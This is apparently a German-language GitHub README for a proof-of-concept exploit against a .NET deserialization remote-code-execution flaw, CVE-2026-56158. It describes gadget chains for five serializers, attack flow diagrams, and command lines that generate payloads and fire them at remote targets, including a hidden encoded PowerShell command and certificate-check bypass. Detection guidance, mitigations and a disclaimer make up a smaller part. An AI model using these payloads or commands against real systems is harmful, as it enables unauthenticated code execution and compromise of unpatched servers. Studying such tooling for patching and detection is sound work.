sam00/cve-2026-56158-.net-framework-rce-poc-exploitGeneriert fünf .NET-Deserialisierungs-Payload-Formate für CVE-2026-56158, liefert sie über HTTP/SOAP/JSON-Endpunkte aus, enthält Mock-Server, Scanner und JSON-Berichtsausgabe.
Kritisch (CVSS 9.8) — Deserialisierung nicht vertrauenswürdiger Daten (CWE-502) in Microsoft .NET Framework & .NET Runtime Gepatcht: 14. Juli 2026 | Entdeckt von: Positive Technologies (PT-2026-60174)
CVE-2026-56158 ist eine kritische Schwachstelle zur Remotecodeausführung in Microsoft .NET Framework und .NET Runtime. Der Fehler liegt in der unsicheren Deserialisierung nicht vertrauenswürdiger Daten (CWE-502) — wenn eine .NET-Anwendung veraltete Serialisierer (BinaryFormatter, , , ) oder Json.NET mit verwendet, kann ein nicht authentifizierter Remote-Angreifer ein manipuliertes serialisiertes Payload bereitstellen, das bei der Deserialisierung beliebige Codeausführung auslöst.
NetDataContractSerializerSoapFormatterObjectStateFormatterTypeNameHandling.All/AutoDie Schwachstelle weist einen CVSS-3.1-Basiswert von 9.8 (Kritisch) mit dem Vektor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H auf, was bedeutet:
Microsoft veröffentlichte am 14. Juli 2026 Sicherheitsupdates im Rahmen des monatlichen Patch-Tuesday-Zyklus.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-56158 |
| Titel | .NET-Framework-Schwachstelle für Remotecodeausführung |
| CVSS 3.1 | 9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 2.0 | 7.5 Hoch (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| CWE | CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten) |
| Veröffentlicht | 14. Juli 2026 |
| Gepatcht | 14. Juli 2026 |
| Entdecker | Positive Technologies (PT-2026-60174) |
| EPSS | Noch nicht bewertet |
| CISA KEV | Nicht gelistet |
Die veralteten Serialisierer der .NET-Runtime rekonstruieren beliebige Objekttypen aus serialisierten Datenströmen, ohne den Typ oder Inhalt zu validieren. Wenn ein Angreifer die serialisierte Eingabe kontrolliert, kann er den Deserialisierer dazu veranlassen, unerwartete Typen zu instanziieren, deren Konstruktoren, Callbacks oder Property-Setter beliebigen Code ausführen — ein klassischer Deserialisierungs-Gadget-Chain-Angriff.
Die Schwachstelle betrifft mehrere Serialisierungsmechanismen:
TypeConfuseDelegate-Gadget-Chain delegiert an Process.StartProcessStartInfo eingebettet im SOAP-BodyProcess.Start über ein ViewState-Feld$type-Metadaten, wenn TypeNameHandling.All/Auto aktiviert ist; ObjectDataProvider-Gadget ruft Process.Start auf| Produkt | Verwundbarer Bereich | Behobene Version | KB-Artikel |
|---|---|---|---|
| .NET 8.0 | 8.0.0 – 8.0.28 | 8.0.29 | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | 9.0.18 | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | 10.0.10 | KB5101001 |
| .NET Framework 3.5 | Alle vor dem Patch | Gepatcht | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | Alle vor dem Patch | Gepatcht | KB5100991 |
| .NET Framework 4.8 | Alle vor dem Patch | Gepatcht | KB5101011 |
| .NET Framework 4.8.1 | Alle vor dem Patch | Gepatcht | KB5101002 |
| Visual Studio 2022 (17.12) | Vor dem Patch | 17.12.x | — |
| Visual Studio 2022 (17.14) | Vor dem Patch | 17.14.x | — |
| Visual Studio 2026 (18.7) | Vor dem Patch | 18.7.x | — |
Alpine-Linux-Pakete:
dotnet8-runtime < 8.0.29-r0dotnet9-runtime < 9.0.18-r0dotnet10-runtime < 10.0.10-r0Dieser PoC-Exploit generiert und liefert Payloads über 5 verschiedene Deserialisierungs-Angriffsformate:
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
→ Process.Start("cmd.exe", "/c calc.exe") → RCE
application/octet-streamActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.StartXML with type info → NetDataContractSerializer.ReadObject()
→ ProcessStartInfo instantiation → Process.Start → RCE
application/octet-stream oder text/xmlSOAP envelope → SoapFormatter.Deserialize()
→ ProcessStartInfo in SOAP body → Process.Start → RCE
text/xmlViewState binary → ObjectStateFormatter.Deserialize()
→ Process.Start via ViewState field → RCE
application/octet-stream__VIEWSTATEJSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
$type-Metadatenapplication/jsonTypeNameHandling.All oder Auto┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
Content-Type: application/octet-stream
Body: [BinaryFormatter payload]
│
▼
BinaryFormatter.Deserialize()
(no type validation)
│
▼
TypeConfuseDelegate invoked
│
▼
Process.Start("cmd.exe", "/c calc.exe")
│
▼
calc.exe spawns → RCE CONFIRMED
graph TD
A[Attacker] --> B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime < 8.0.29]
E2 --> F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
endCVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
Generieren Sie alle 5 Payload-Formate mit dem Standardbefehl (calc.exe):
python3 exploit.py
Ausgabe:
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
Mit einem benutzerdefinierten Befehl generieren:
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"
Starten Sie den integrierten Mock-Server, der einen verwundbaren .NET-Endpunkt simuliert, und liefern Sie alle Payloads:
python3 exploit.py --listen
Dies bewirkt Folgendes:
Erwartete Ausgabe:
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
Benutzerdefinierter Port:
python3 exploit.py --listen --port 8080
Speichern Sie ein bestimmtes Payload-Format für die manuelle Übertragung in einer Datei:
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
Liefern Sie alle Payloads an ein entferntes .NET-Ziel:
python3 exploit.py -u http://target:8080 -c "calc.exe"
Mit SSL-Zertifikats-Umgehung:
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
Scannen Sie ein Ziel auf .NET-Version, Deserialisierungs-Endpunkte und ViewState-Probleme:
python3 exploit.py -u http://target:8080 --scan
Dies prüft:
X-AspNet-Version, X-Powered-By)/api/deserialize, /Service.svc, usw.)Erstellen Sie einen JSON-Bericht mit vollständigen Exploit-Details:
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
Der Bericht enthält:
python3 test_exploit.py
Die Tests decken ab:
python3 e2e_test.py
Die Tests decken ab:
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
Führen Sie den Erkennungs-Checker aus, um verwundbare .NET-Installationen zu identifizieren:
python3 detect.py
Scannen Sie Quellcode auf unsichere Deserialisierungsmuster:
python3 detect.py /path/to/source/code
Der Detektor prüft auf:
dotnet --list-runtimes)BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.DeserializeBinaryFormatter ersetzen durch System.Text.Json oder DataContractSerializer mit strenger TypbindungSerializationBinder-Allowlisten implementieren, wenn veraltete Serialisierer erforderlich sindSwitch.System.Runtime.Serialization.UseLegacyBinaryFormatter=falseViewStateMac und ViewStateEncryption aktivierenTypeNameHandling.All/Auto vermeiden; TypeNameHandling.None verwendenSoapFormatter und NetDataContractSerializer für nicht vertrauenswürdige Eingaben blockierendotnet.exe, devenv.exe oder benutzerdefinierten .NET-HostprozessenDieser Proof-of-Concept-Exploit wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Verwenden Sie dieses Tool nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen besitzen. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören, ist illegal und kann gegen Gesetze zu Computerbetrug und -missbrauch verstoßen.
Die Autoren und Mitwirkenden sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.
MIT-Lizenz — siehe Datei LICENSE für Details.